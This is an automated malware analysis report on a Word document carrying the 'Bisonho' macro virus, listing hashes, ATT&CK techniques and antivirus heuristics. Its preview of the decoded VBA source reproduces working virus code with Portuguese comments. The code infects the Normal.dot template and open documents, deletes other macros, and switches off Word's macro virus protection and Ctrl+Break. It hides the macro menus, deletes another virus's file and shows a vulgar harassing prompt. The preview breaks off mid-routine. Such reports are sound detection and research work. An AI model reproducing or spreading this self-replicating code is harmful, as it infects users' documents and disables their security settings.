Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 663bb2884624dd26…

MALICIOUS

Office (OLE)

66.0 KB Created: 2001-02-26 15:22:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 9f33cbed0c7e5684e86341494ea50e7e SHA-1: 0faab5bc7c56cb37350a15cbd7264a3a54b487e8 SHA-256: 663bb2884624dd267723a4be42174f07e6df65328f192405c3762035c2f8cdc0
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1137.001 DLL Search Order Hijacking T1137.002 DLL Search Order Hijacking

The sample contains VBA macros, including a Document_Open macro that attempts to infect the Normal.dot template and any currently open documents. The script explicitly mentions 'Bisonho Rulez' and modifies the Normal.dot template, indicating a self-propagation mechanism. The use of `Shell()` and `CreateObject()` suggests the potential for executing arbitrary code or downloading additional payloads.

Heuristics 6

  • ClamAV: Doc.Trojan.Ocor-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ocor-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22115 bytes
SHA-256: 96c40fb47df91b23ad835751421eac2218753d23e298b241aa3516563c0ce395
Detection
ClamAV: Doc.Trojan.Ocor-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Sub Document_Close()
'Executa quando um doc e fechado e transfere o controle para a sub
'Document_Open diretamente
    Document_Open
End Sub

Private Sub Document_New()
'Executa quando um doc e criado
'Document_Open diretamente
    Document_Open
End Sub

Private Sub Document_Open()

'Executa quando um doc e aberto e depois transfere o controle para a sub
'RetroAction

On Error Resume Next            'Se ocorrer algum erro... pule!
Application.EnableCancelKey = 0 'Desabilita Control+Break

Set Arch = ActiveDocument.VBProject.VBComponents.Item(1)
'Define as variaveis Arch, que aponta para um doc qualquer ativo,

Set Norm = NormalTemplate.VBProject.VBComponents.Item(1)
'Norm que aponta para o normal.dot, e

Set ItsMe = Me.VBProject.VBComponents.Item(1)
'ItsMe, que indica da onde o virus esta sendo executado.

If Norm.CodeModule.Lines(1, 1) <> "'Bisonho Rulez" Then
'Se a primeira linha do projeto do normal nao for 'Bisonho Rulez, infecte!

Norm.CodeModule.DeleteLines 1, Norm.CodeModule.CountOfLines
'Apaga todo o codigo estranho (que pode ser um outro virus, pq nao?)

Norm.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
'Infecta o arquivo

Norm.Name = "Bisonho"  'Muda o nome do projeto para Bisonho
End If 'Termina o bloco de condicoes *SE*

If Arch.CodeModule.Lines(1, 1) <> "'Bisonho Rulez" Then
'Se a primeira linha do projeto de um arquivo aberto nao for 'Bisonho Rulez, infecte!

Arch.CodeModule.DeleteLines 1, Arch.CodeModule.CountOfLines
'Apaga todo o codigo estranho (que pode ser um outro virus, pq nao?)

Arch.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
'Infecta o arquivo

Arch.Name = "Bisonho"  'Muda o nome do projeto para Bisonho
End If 'Termina o bloco de condicoes *SE*

If Dir("C:\Ethan.___", 6) <> "" Then
'Aha, foi encontrado vestigios do ethan... (eu odeio esse virus nao sei pq)

SetAttr "C:\Ethan.___", vbNormal
'Define o atributo do arquivo como normal, e...
Kill "C:\Ethan.___"                     'Deleta essa droga!
End If                                  'Termina o bloco de condicoes *SE*

RetroAction                             'Chama a sub RetroAction

If Day(Now) = Month(Now) Then ChooseActions
'Chama os eventos se o dia for igual ao mes

If Minute(Now) = Second(Now) Then
'Se o segundo e igual ao minuto, faz o cara dizer que tem o pau pequeno
Msg = "Ocorreu um erro. A possivel causa e que vc tenha um penis pequeno. Vc tem um penis pequeno?"
Style = vbYesNo + vbQuestion    'Estilo da mensagem
Title = "Microsoft Word"        'Titulo da mensagem
Ret = MsgBox(Msg, Style, Title) 'Escolha do cidadao
If Ret = vbNo Then LoopIt       'Disse que nao? Pergunta de novo!

ThisIsSpecial           'Chama essa sub...
EmailCopy               'Chama essa sub tb.
End If


End Sub                                 'Termina a sub (DUH...)

Private Sub RetroAction()
'ESSA SUB E SO AS ACŐES RETRO DO VIRUS... RERERERE (HEHEHE)

On Error Resume Next    'Ocorreu algum erro? Pule...
Application.EnableCancelKey = wdCancelDisabled  'Desabilita o Control+Break
Options.VirusProtection = False                 'Desativa a verificacao de macros no documento
Options.SaveNormalPrompt = False                'Desativa o aviso para salvar o
normal.dot

CommandBars("Tools").Controls("Macro").Visible = False
'Esconde o menu Macros

CommandBars("View").Controls(6).Visible = False
'Esconde o menu Barra de Ferramentas (para evitar que adicionem um menu novo,
'apesar que se pode dar um clique com o botao direito na barra de menu mas
'ta a pampa)

CustomizationContext = NormalTemplate
'Define onde serao salvas as mudancas abaixo

KeyBindings.Add KeyCode:=BuildKeyCode(
... (truncated)